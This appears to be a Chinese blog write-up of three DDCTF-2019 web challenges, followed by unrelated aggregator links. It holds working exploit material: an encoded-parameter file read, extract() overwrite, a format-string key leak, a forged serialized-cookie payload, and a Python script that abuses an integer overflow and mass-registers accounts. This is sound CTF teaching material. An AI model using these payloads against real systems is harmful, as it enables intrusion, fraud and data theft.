DDCTF-2019
Web 滴
Web 签到题
Web 大吉大利,今晚吃鸡
1)滴
网址http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
参数两次base64解码一次ascii解码得到flag.php
观察只有flag.php才显示图片,尝试把index.php按规则编码获取到index的源码
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE); header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
访问网址,发现出题人的博客,代码注释里日期2018.7.4找到对应日期的博客
猜测存在vim异常退出留下的文件,尝试访问博客中文件名practice.txt.swp
http://117.51.150.246/practice.txt.swp
得到的线索f1ag!ddctf.php
在开始页面编码f1ag!ddctf.php
尝试读取,其中根据上面得到的源码 ‘!’ 被过滤,用config代替
得到源码
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
其中存在extract覆盖漏洞,直接访问http://117.51.150.246/
f1ag!ddctf.php
?uid=&k=
得到flag
2)WEB签到题
进入之后无法访问,查看网络传输信息,找到post请求网址为Auth.php猜测为验证登录
尝试ddctf_username=admin发包成功进入,提示请访问:app/fL2XID2i0Cdh.php
访问页面查看到app/Application.php和app/Session.php源码
url:app/Application.php Class Application {
var $path = ''; public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret; } public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
} }
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
} public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
其中看到Application类中的path参数在魔术方法__destruct()中被调用,并对path进行了一些限制
其中还有危险函数file_get_contents可能用于读取目的文件
猜测可能存在反序列化漏洞
url:app/Session.php include 'Application.php';
class Session extends Application { //key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF"; public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
} } private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
} public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
} $session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32); if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session); if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
} if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
} if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE; } private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
} $userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
); $cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
); }
} $ddctf = new Session();
$ddctf->index();
57行 $session = unserialize($session); 验证了之前的猜想存在反序列化漏洞
那么就是要构造session并调用Application类赋给path值读取flag文件
35行 提示flag所在路径,猜测'../config/flag.txt'
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
构造的session会经过一些验证,其中主要构造验证hash值
其验证方式为session[-32:] = md5(eancrykey+session[:-32])
即session的后32位是eancrykey与前面所有字符串拼接后的md5值
接下来就是找eancrykey的具体值,注意到 64行
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
熟悉pwn的话容易看出这里存在格式化字符串漏洞
我们令nickname=%s 然后post
成功打印了eancrykey的值:EzBlrbNS
之后开始构造session,urldecode一下原来的session
再经过反序列化之后添加一个Application类,其中path处限制长度18
并且会把../过滤掉,构造'..././config/flag.txt'恰好满足长度
<?php
class Application{
var $path='..././config/flag.txt';
} $a = new Application(); $arr = array (
'session_id' => '063e9d131dd8777edc6e3e6c87dcac56',
'ip_address' => 'x.x.x.x',
'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
'user_data' => '',
'payload' => $a,
); $test = serialize($arr);
$eancrykey= 'EzblrbNS';
$hash = md5($eancrykey.$test);
echo $test.$hash;
?>
得到
a:5:{s:10:"session_id";s:32:"063e9d131dd8777edc6e3e6c87dcac56";s:10:"ip_address";s:13:"x.x.x.x";s:10:"user_agent";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0";s:9:"user_data";s:0:"";s:7:"payload";O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}}38b449cd93daf12a3d889a58594ab3d4
经过urlencode提交得到flag
3)大吉大利,今晚吃鸡~
注册登录,显示用户余额100,需要200购买入场卷,直接购买,支付显示余额不足
查看cookie,发现为REVEL_SESSION,推测后台使用golang编写
猜测存在数据溢出,查看go数据类型范围
尝试之后发现为uint32类型,抓包修改金额为4294967296,支付,成功购买
之后需要移除99个对手,注册一个新号同样操作之后填入id与ticket,显示成功移除一名机器人
之后目的就明确了,写脚本注册购买并将id和ticket填入即可
另外,注册页面存在越权漏洞,注册一个帐号,不管是否注册成功都会返回其cookie可用其登录
脚本如下,网上其他师傅的改了一点,学习了
import requests
import time users={} def register(name,pwd='aaaaaaaa'):
url='http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s' %(name,pwd)
requests.adapters.DEFAULT_RETRIES = 5
re=requests.get(url=url)
re.keep_alive = False
cookies=re.cookies.get_dict()
users[cookies['user_name']]=cookies['REVEL_SESSION']
print cookies['user_name'],cookies['REVEL_SESSION']
return cookies['user_name'],cookies['REVEL_SESSION'] def buyticket(name,session):
url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
header={
'Cookie': 'user_name=%s; REVEL_SESSION=%s' %(name,session)
}
re=requests.get(url=url,headers=header)
bill_id = re.json()['data'][0]['bill_id']
print bill_id
payticket(bill_id,name,session) def payticket(bill_id,name,session):
url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s'%(bill_id)
header={
'Cookie': 'user_name=%s; REVEL_SESSION=%s' %(name,session)
}
re=requests.get(url=url,headers=header)
my_id=re.json()["data"][0]["your_id"]
my_ticket=re.json()["data"][0]["your_ticket"]
getflag(my_id,my_ticket) def getflag(id,ticket):
url='http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s' %(id,ticket)
header={
'Cookie': 'user_name=%s; REVEL_SESSION=%s' %(MainUser,MainSession)
}
re=requests.get(url=url,headers=header)
print re.text if __name__=="__main__":
MainUser,MainSession=register('MainUser0002')
buyticket(MainUser,MainSession)
time.sleep(1.1)
for i in range(200,205):
register('AttachUrr%s' %(i))
time.sleep(0.6)
for j in users:
if j!=MainUser:
buyticket(j,users[j])
time.sleep(0.6)
DDCTF-2019的更多相关文章
- 刷题记录:[DDCTF 2019]homebrew event loop
目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...
- DDCTF 2019 部分WP
WEB 滴~ http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 观察链接可发现jpg的值是文件名转hex再bas ...
- [DDCTF 2019]homebrew event loop
0x00 知识点 逻辑漏洞: 异步处理导致可以先调用增加钻石,再调用计算价钱的.也就是先货后款. eval函数存在注入,可以通过#注释,我们可以传入路由action:eval#;arg1#arg2#a ...
- ddctf2019--web部分writeup
0x00前言 上周五开始的DDCTF 2019,整个比赛有一周,题目整体来说感觉很不错,可惜我太菜了,做了4+1道题,还是要努力吧 0x01 web 滴~ 打开看着url,就像文件包含 文件名1次he ...
- 2019 DDCTF 部分writeup
网上的wp已经很多了,但wp普遍很简略.我尽量写的详细一点. 一.WEB 滴~ 拿到题目后首先右键查看源代码,发现图片是以base64传送的 而且看url发现里面应该是包含了文件名,并且用了某个编码. ...
- 2019年台积电进军AR芯片,将用于下一代iPhone
近日,有报道表示台积电10nm 芯片可怜的收益率可能会对 2017 年多款高端移动设备的推出产生较大的影响,其中自然包括下一代 iPhone 和 iPad 机型.不过,台积电正式驳斥了这一说法,表明1 ...
- VS经常报错的link error 2019
VS经常报错的link error 2019 原因如下: 可能是找得到头文件,但是相关的dll或者lib找不到,需要在配置里面添加相应的库文件. project=>configuration.. ...
- YTU 2019: 鞍点计算
2019: 鞍点计算 时间限制: 1 Sec 内存限制: 64 MB 提交: 66 解决: 30 题目描述 找出具有m行n列二维数组Array的"鞍点",即该位置上的元素在该行 ...
- Windows Server 2019 预览版介绍
在Windows server 2012.Windows server 2016还未完全普及的情况下,昨天Windows Server团队宣布Windows Server 2019将在2018年的下半 ...
- Telerik控件集-2019.R1.SP1.All
Telerik 专注于微软.Net平台的表示层与内容管理控件,提供高度稳定性和丰富性能的组件产品DevCraft,并可应用在非常严格的环境中.Telerik拥有 Microsoft, HP, Alco ...
随机推荐
- 如何将数据库中的值经过servlet传入到jsp页面,并且用EL表达式显示出值
方法一:通过id查询某一数据库表中具体的行,将值封装在相应的对象中,如下面的对象Notice servlet中 String noticeId=request.getParameter("n ...
- Vue slot插槽
插槽用于内容分发,存在于子组件之中. 插槽作用域 父级组件作用域为父级,子级组件作用域为子级,在哪定义的作用域就在哪. 子组件之间的内容是在父级作用域的,无法直接访问子组件里面的数据. 插槽元素 &l ...
- Django 创建一个返回当前时间的页面
创建一个 Django 项目及应用 django-admin startproject mysite cd mysite # 手动创建一个 templates 文件夹用来保存 html 文件 mkdi ...
- Android 字体适配方案
开发过程中,按照UI设计尺寸做好UI页面,当用户自定义自己的手机字体大小之后UI完全没法看了,这个时候就在想让app字体大小始终一致就好了 下面看一下,出现的问题和解决方案 做个简单的例子,先 ...
- Java:配置环境(Mac)——MySQL
1.官网下载 2.双击开始安装,一直下一步 用旧版的密码加密 自己写个密码,最少8位 3.测试 打开系统偏好设置 4.mysql需要在系统环境变量里 1)在终端输入mysql,没有指令说明.此时就还不 ...
- C语言货架01
教材: < C程序设计(第四版) > 谭浩强著 清华大学出版社 教材目录 第1章 程序设计和C语言 第2章 算法——程序的灵魂 第3章 最简单的C程序设计— ...
- winserver-记录共享文件夹操作日志
abstract 1.在共享文件夹上开启审计. 2.在日志中查看操作记录. 开启审计 共享文件夹属性 选择审计 添加审计用户 选择用户及审计事件 日志查看 运行eventvwr 在windowslog ...
- js得到规范的时间格式函数,并调用
1.js得到规范的时间格式函数 Date.prototype.format = function(fmt) { var o = { "M+" : this.getMonth()+1 ...
- mysql 分组内 排序
mysql 分组内 排序 类似于 sqlserver over partition by 因为mysql中木有sqlserver over partition by这个函数,要从sqlserver ...
- 浏览器仿EXCEL表格插件 - 智表ZCELL产品V1.4发布
智表(zcell)是一款浏览器仿excel表格jquery插件.智表可以为你提供excel般的智能体验,支持双击编辑.设置公式.设置显示小数精度.下拉框.自定义单元格.复制粘贴.不连续选定.合并单元格 ...